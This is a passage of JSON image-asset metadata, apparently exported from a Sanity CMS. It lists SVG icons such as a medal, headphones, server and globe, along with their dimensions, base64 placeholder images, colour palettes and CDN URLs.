6e2b1ff516f266ee26-40x40.svg"} {"_createdAt":"2023-05-19T15:04:40Z","_id":"image-18487d237edf1ff9906fae8cec7d78f68feabc5b-150x198-svg","_rev":"Sutmd0597BicUlBXY6pNIS","_type":"sanity.imageAsset","_updatedAt":"2023-05-19T15:04:40Z","assetId":"18487d237edf1ff9906fae8cec7d78f68feabc5b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dTO{zExuELof~qoft,fk0eWBEfbH+GWBxuof00WBt7ae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7575757575757576,"height":198,"width":150},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#484144","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041408","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f0a092","foreground":"#000","population":1.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e2c6c7","foreground":"#000","population":0.34,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0a092","foreground":"#000","population":1.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c4d48","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5308","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"medal (1).svg","path":"images/sczeoy4w/production/18487d237edf1ff9906fae8cec7d78f68feabc5b-150x198.svg","sha1hash":"18487d237edf1ff9906fae8cec7d78f68feabc5b","size":15881,"uploadId":"EdDDXD0y4U5e05Aw8KNSaHiuXPjQXFZu","url":"https://cdn.sanity.io/images/sczeoy4w/production/18487d237edf1ff9906fae8cec7d78f68feabc5b-150x198.svg"} {"_createdAt":"2023-05-26T13:08:14Z","_id":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7TAwp","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:08:14Z","assetId":"380123baa06f9ca6bb46fe482bdcc97c47209fa5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUD]rLt7~qt7_4t7fQfQfQfQ~qfQWAfQRjt7fQfQfQfQ_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC60lEQVQ4jZ1Vz29McRD/viccNJEVu7Ez2z3MSxsnLk3TU/XoILg0SHaLunCgB2l7E00aUSoiLQdC/B+UC03VAT1x4f0Q+l5U059EhZXP981rd1UcbPLJm535zOfNd76zs8YP4x4/jHv9MD7hR3ElCJOqH8bVIEr+CcsBN4orNjfV6DFq7PXDuOCHcT4IkzyeGd4Hsw2oj1luZO2CavQaVS/4UWyCKMF3+1xcXjO1Ws2sfvtlnr+YsYANH2L1XD+KjYqeMFpyHoEgStz3wawzOfXSQSI+eF6/cdsB6n3ggBtEiauiqLZi0Ac9pgGhXPIMASwuseSIZQ+xdChg56gkbok909zs2RzfVguNpIpSq1mFeCuXPFNk2UosLcRyjFgGieWiAvZRjW2lsmdz9PgoqopjWsGsZ1oZEs4QyyVi6SWWA4rT6kOshdlzs55qURuCWX/0mKhsiFgOEkuhyLKNUhTUh9hRZsllPW0QxDisfPuZVYg+DRDLSWLZZftZEvgN2mF9LKeUsyebBGg0CE5NvzYj12662vxhYukm9nLM4qSCnrF2eoJu5XRcHR1zMFINgu/8T/mJJ5PmXF8/BDuJ5Q6xjBLLEWIpF1lcJtvbsvpGldOJHORCo0Hw0eNn5nzfAJK6iOU+sTwglivEcphYtisOqe+BcrqQg9xNgg8nnmaC+4llhEpyQW/0LLHsVMC+pLERcM/3DbrIbRDE+V+9fmPGxu+iR206c7jJy3o5OxQn1TeknLbxW/ecVzNvN3qYDXY2h8xSZJbj2vR+YmnHEHOKdvUN62jtrp/DdLDTdZX//GVFBb0tECWWfcTSyixN+JlxestNzNKqsSK4tVrNIHd9Du1yiBKsIjjt5APTL2acxeU1uxDm5ledufmv1l5cWsOYWFsH2kVukK6xyqb1hbctLH1Hk81ssmCP8+HjnMXiyg/rQwwccLM1trG+wvj0+oJN39KwWPUoFn/6Lf6yYP/vLyDa9BeAwnp+AyLgCm6Xzf/PAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c24","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":1.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":1.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-headphone.svg","path":"images/sczeoy4w/production/380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40.svg","sha1hash":"380123baa06f9ca6bb46fe482bdcc97c47209fa5","size":437,"uploadId":"lElPTkE8eiSMXdalaVWkgqRCR8o1A6IU","url":"https://cdn.sanity.io/images/sczeoy4w/production/380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40.svg"} {"_createdAt":"2023-05-26T13:08:38Z","_id":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7TNEv","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:08:38Z","assetId":"8474ceba50fe54d50d2670a9c9addbaa3cda6c3a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUD]rKt7~qoz_4t7juazf7fQ~qfQWBfQRjogf7j@jufQ_4ayRjj[Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC5ElEQVQ4jZ1VzUsVURS/97lIIiLsaZ4zap0xCISCCF5uMmzVMloE9Z6CbtvUX5CLNlGr/oZWLWqRESRipmKlidoHatq8O34woxL0CX2++N258/KlSLQ4/O45c+Z3f/fMuWdUYKKOwERdgYk6gzDKF01cCExUKIbxtmZzkBtGeftuwtGh3OJwYKLawETZoomzKW5n5dwwyrp3wdGlHHttEEaqGMbwVbi0pn78KqlSqWQRPuJ4nub8yY/t2pF2Kic565IzM3NGj4xOaJClBh9xs7iqAxMlFka6aGJgppiQQm1euZpBtpqZLeqWI8eUHGhUxFJFLNVA+HKwBbGyMTfbzQJLbpVmAxMXEECRs4vL6+rp2LRmTxSRJTpKLGctklR7Db5iR8TsI0e1n95jCe3pElEFHNMqfP/xm/r6vaQdWY5YrhHLQ4c5xEHoeYcSUreBWVy1hK5sfwjX3322RyAWj1i6ieUWsQw5hN9ALDXE0kwse+vrRePo4xOvUFPwVBLOzS+q3vv9SKojlpPEcpFYbjpsdyXoJJbrFkmY6kW/fL2g47UPmxXOv11W93r7NCcfYyexnCKWHkfWSCznnNrnDlHfGpzq05eflYROrhocegZCxZ4PO8Ge9ACJpYlYzhPLDWK57fACNpp68QbttFkh6jDwaFSDjFgyxNJGLFeIfeBuYtlPLGeI5apD+Lvu3H2gUa5KhclVUgODTzQl6kAMIihsY080WcPa7yGohs++6usfth9lS8LHw2NlQmI/x55/KWkhtIiPchwnlsvMkrO+J2p4ZDzpw/QroxntkcNITU7P2lZwNfSYpRW44YZg3epQYaPJqZmywqSxTaIQuywEK7puX1NKWMWevwNXz/n2OiLmninkLgQrrrFThRgOoR1FdjjgKoVLaxXDAbcBtjGGHHftMnY4JArzW44vIHor7bF0bP0dS3Pdkd34MlF3ecAmSv9twNrBuvWA/b9fQLjpFwBhHb8BlJwX+kUGL2QAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1424","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":1.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":1.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-uptime.svg","path":"images/sczeoy4w/production/8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40.svg","sha1hash":"8474ceba50fe54d50d2670a9c9addbaa3cda6c3a","size":313,"uploadId":"iBuSVYaQqZUbSFVHN3VLdb43tCPBMWtH","url":"https://cdn.sanity.io/images/sczeoy4w/production/8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40.svg"} {"_createdAt":"2023-05-26T13:09:00Z","_id":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7Tb70","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:09:00Z","assetId":"e78c0cfc10eb10e0f1755722c4e90bca06cb515b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUD]uSt7~qoz_4t7fQfQfQfQ~qfQWAfQRjt7fQfQfQfQ_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQ4jaWVz08TURDH35JAbw3abc3MO9TZA/UiR0ohhjTRv6I/DN4UMF40KhYOVq9e1H/BFMRf8cfJRI0XPUo0FQrbt1D6moiaGNSDsWa221/8qEU3eXlvs9/57MzszKywlU7ZSo/bSqdtRyeKqpK0lU4WnUrH5WpY6+iEa1tjpIR3OGorHbSVNouqYtb3TquhdbTp2TJjXHj0oO1oPov1jU1RrVa7WqXyZ9fGs2VoWngum6vFsiislnoW3xcMFv/tYs2HvG2wDdsyg1mC81B0KuZa6ZP49v2XIaUlAKkXkPoBKQTSCrk7UgibZ37WJzEstn5WjbWNTcEMW1WSTOYEmxv6i3jx6o0BaPkBaRiQUoB0GqV1BpAmeKG0eOf7k4AUAyT/y9dvjXLla81DpZNMThZWS+bC/aciNhL3YQ12GZCygHQeJE0BWpOANInS3acAKQNIl/jFsdG4j22ZwSwXmF9SwSuZrBiIDB7wPLsOSGlAGgJJiGgdBKQASiuAkgKANApIs6wZODLYz7bMaANOdwmEJnCGtREGzlxrBy6vrJt3cg/EUPSYD5BOANJtQLoFSBeaIVuTKGkCJJ0DpBuAdBOQjkeHx3xzdx8JZrQBc3MPBT9k0e5AziF/mG3A2JgvN78NWM9hpBZyshGy7JjDvUPOfywGpzNX95vD2SYw2w7kTz6/8Lge8h5l4+aQQz/rlc1FQIrGRuJ991rLpl7Y3JdPnj03uFjbC5sLmQva4vzVCzvtafzcDNwUzcJuab2tH7+NQ+FwW+uh5FbjlrO8c6P1egEPu+3KtsyoedgyHJZX1nveLS51PRx4kBRah4PSif8aX6zdOb6UPtUYsM4+Bqw7WHcfsP/2C3B2/ALYsdQfNGHQg4MCC6UAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c24","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08040c","foreground":"#fff","population":0.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08040c","foreground":"#fff","population":0.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-server.svg","path":"images/sczeoy4w/production/e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40.svg","sha1hash":"e78c0cfc10eb10e0f1755722c4e90bca06cb515b","size":367,"uploadId":"aDMwQYFMavGnjUVpMOX8KjzMdXjmtlo8","url":"https://cdn.sanity.io/images/sczeoy4w/production/e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40.svg"} {"_createdAt":"2023-05-26T13:09:18Z","_id":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7TkIl","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:09:18Z","assetId":"9c38e4da11ad04c0092f9636f7a9fd83031bd77d","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUE3F^t7~qt7_4ozfRfQfQfQ~qfQWBfQRjt7fQfQjufQ_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADF0lEQVQ4jZ1VS09TURA+17LEBfFWmakiQ0oXtN0UjEtduZXKQ6GF8NBEV8ojCq2K8YFAggGJC4mJC1f+ECQxPBYGIiHm9t6F3gokBlgq18y5Y9NWYeHipKdnZr58M/PNXGXZbpdlu72W7XZbjpvK2fm0ZbvpnJM/8mgf9nXclI71MbqUXOKW7QYt2zWLzxfrq7mx6QTXP1v68J3fSvwc/RsUjF4l6EHLcVXOyfN/tbWzr355nlr4sKyeT86oweGsujcypmbn5tXHpU/q54Gnfdg3xzGOqwS0Wwllkw05J39seXXN+L69Z3iep1paOwPRWKIyHImb9ZH4iWi8qbL9aneAbVs7+8by6rrBMQLKbFNKasa0FTuchBoFSAYgVQFSIyC1AtINQLoFSB2AdI5tGCKjOnRGMQGO9THyab5oQE7hW/6HgT4YAFISkLIQolFAugtIrwHpPSCNA1Iz+yDWGfmtXUPSZ1JpTlMDHnie4lTQZ8asngBSP4SoCZAuAtIzQHoJSCOA9BCQrjBTz/N0vaVsPiB3bmllTXV09gTQT2lOgi8B0nlAui7MOgEpBkg9mj1SY2tbOrCwuKIYowDIcph+8UpFY42VgNQOSO8AaR6QHgHSU0C6D0htgFQLWFsBSAkBbOGYickZxRgFQNbY0HBWhSMxU9g81ukiDQLSAITosjA9DUAMeBaQ7rBPOBIzB4YyijFKAPlRAPvFuUED+CXgtweAdBNQ15Rttw8F3Nh0gkxbUm6RdBIUiimp2biU4a2wZgVkuHlRTnlqllMubQpPRUtrKiDayworZhgGpCFAeiNnDFBLafTQpli2a3LrWQIi6KQ0pBeQLoigWUbTgDQpEkr+UzZWkbB55MqEnZEOj0qjpoRhsiDs7b0yYZeNXjXWKHYsGj2uaZ+wTYpkqgDrjFNYq2P+jJ7PkJeDU7wc1vU4cSpcHy56uD5mhutjwYZo4nhz8loF275v75YuB1uTSh29vhZX1MTkrBocyujD3eQ3tpWsL5+hrC/b7SssWH9ZHrVg9Vv5Ii5fsP/3CXD++gQwsa7fCmPoZISRzGgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c24","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05040c","foreground":"#fff","population":2.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#05040c","foreground":"#fff","population":2.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a39bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-globe.svg","path":"images/sczeoy4w/production/9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40.svg","sha1hash":"9c38e4da11ad04c0092f9636f7a9fd83031bd77d","size":1054,"uploadId":"PbOsfG2wVSBW6QEKZiYUegb8CUc02ulr","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40.svg"} {"_createdAt":"2023-05-26T13:09:31Z","_id":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7Tupz","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:09:31Z","assetId":"9b722bb976b2ca9767d6e95bbe71206a156c84f8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUE3F^t7~qoz_4ogfRfQjtfQ~qfQWBfQRjt7fQfQfRfQ_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADj0lEQVQ4jYVVaWhUdxCffRpB7YeoG3BmBZ0FTT+4JiLViiQmJBZpMX4xIGQTEs8o2XjVHI2aqoiiqFQU6n3UohtsTYRIvA2mB9JC2yAaY/IO1Ly1qA0UtFqIzNvZHKakCz92/vNmfm+u/zwwbbfQtN0S03aLTMctsOxY2LTdsOXEhoRnI7aOW+D5xjkKQYWQabsppu36LSfml39Bp9Xl7zCf+h91PvEgsugSzy075jcdT05RjhJQ9hTTccG0XHCfdUNPT4+He/c7ob6hCU5/E/UgsugSz7uedUOn5YIlvnHSItCQ5c3QYT413vwbN5bfmbN1vryF+cMzMnNGCEQWnTwTm3/e9ng+ptUlPBJtAWjN/E+6XsCfz//24YRJPgrwKCSeiMQzkDgLiT9RZKluomczgX3iI77xMsTCIniEL/565b0ViZOROAeJ1yDxF4pqReJcrjbJ4iO+WtcwSMek0G3tDjRdbfYhcQiJ9yDxKSTegMT5SPypYpHqTqpN6Or1Oz7xFQ7h8gile8137kJlVa2BxBlIfBaJzyFxDRKXInEJEi9B4tVIvAWJo0j8rdhWVtUa4iscAwiv3WiB1WUbhDATiY8j8UEk3ojElUhcgcTrkHgVEhdp+gfEdtmKiNF05fZgwus3f4BI+UYDAx6hpHtUCSNIXIjEHyMxa7Mk/QoM8MzImgpDfAelLMqyyOcGBoKZWqOjmrJEt1S7PE9rWq7pp+7Yuc/4vfWhR9jbFI/wRks8QgrO1QiPaIRlSlittTuDxHuRuAqJpy/Iyx9+6/ZPg1O+1fwzrFtfnWiKRHgCib9E4k06QtuR+Dsk3obEK5C4VlJPS5816uvDp6C94/HAsZErdfL0+cTYiPNXOnPrkbgYiZepfrnqZBJWTklNG7N7zwF48NCWq/efgz0GiXM1qs0KIctD4rVIvEMzqEcKlk6eEhq3d/+hPsL+V+9l92vfeGKJ8gMMcBCJZyJxNhLPQuo9hyUyJF6MFExPnz575IXvG0G2UTxCWQ5O33JIbBJBdc02Izf3s6Ss7PlJxSWlw+Zk5IxI/XBa8uTU0Nip0z4aPTd7flK07tKw1nuPElevYMj1dfeXVojWNcC5aD20/PgrXGxogtqtu6Bm03Y4eOgYNF6+Cb/90SZ9ANOO6fqy3SW9C9bRpdlvwfZfrCJLre63WSlt7Y531i0zYMH+7ycgcdYG9uK9T4AEVvgOb9TtcYScJOcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c24","foreground":"#fff","population":1.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":2.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":2.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-db-backup.svg","path":"images/sczeoy4w/production/9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40.svg","sha1hash":"9b722bb976b2ca9767d6e95bbe71206a156c84f8","size":736,"uploadId":"lqp8Nabk5amfzApRqbUYQV2binR4nvZS","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40.svg"} {"_createdAt":"2023-05-26T13:13:20Z","_id":"image-a01707ad3a427fd6acc5672c3685cf5739311a0a-200x241-svg","_rev":"Bg5HPBiLdZofLBzDE7VVWX","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:13:20Z","assetId":"a01707ad3a427fd6acc5672c3685cf5739311a0a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e00,CuoiV?ozaLbaafjuf%afRNyGo$adkCjJkVaye:kBR4RgtTohf*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8298755186721992,"height":241,"width":200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAYAAAD6S912AAAACXBIWXMAAAsTAAALEwEAmpwYAAACr0lEQVQ4jY2VSWgUQRiFK64xr6MI+mrigpLXQUMMePCggicX1JMgCILrzZN68qIoehJBEAV3vbscxf0giCASjUeTg7ugohFxjcYZqerqmZ6ZntGGn5rp5av3//XqLwPqJqhdsJoPqwhUS0QZ2NjAjSEi998mv5teoD7A6jGszoHaCqoX1MSIaimDasF+wgZg2LgEqz+gPoHqB3UW1JYogJ3iBNSVD2YNGNQ3UCMRVQITcET1R9QZUJuRC86otu5eBgzqIqhHoIY82MaliFWKU/A8UO0ebOOGpTCgFoQPToHqA/XRgVFRPBQmPA1qUxU4p8YmPHAv9IDaAOo4qAd+sZqDe+rAVsZEs3qNt0nywNmmG9R6UMdA3Qf1HtTvGvDDkNHGKrADenq9dICaA2odqCOg7oF690+w1aTGPkuiDVQXqLWgDoO6C+otqF854JOw2la3CxqAJ4ASqDWgDoG6A+oNqOEAHgngJ2U/hjpWe6wMLt9rBTU7KD4P6mVqNdhEca3JcyI2KHSlE44B1QFqNagToJ4FYBEuGBeN6e4uK2llZ86e9eNYUNNALQW1G9QVUE9BfQdjp6wI6iuo1yZibNoKAZIBhXEcqOmgloHaA+oqqOegfvjaJWm6rTsI6jKovRVFrAPNALXcvQTqGqgXCcgrKgVFg6AugdoJajGogk/JK0vAKWgFqH2grofC/wzNIwUNZECLQE0BNdqJSWs0HtRMUCtB7Qd1IwUlkLg5iI7R6bMzwV+rQB0AdQvUqwRUldpA6Eo7ahWhkl25ORwFddutkAclhf4vUPaYiDrmJs0htKvhUKNiDmhhBVS9gLVhgpnd8hcj6ovbOqAugNqeB8pG+9SkW9cfAVafYRuBUitlQN6zoTvnH1Lqg9VBWC0BNRnUKAfykU2t0OBQqrn+AvjOGY0tB6AXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#141820","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041522","foreground":"#fff","population":0.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141820","foreground":"#fff","population":0.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#105488","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity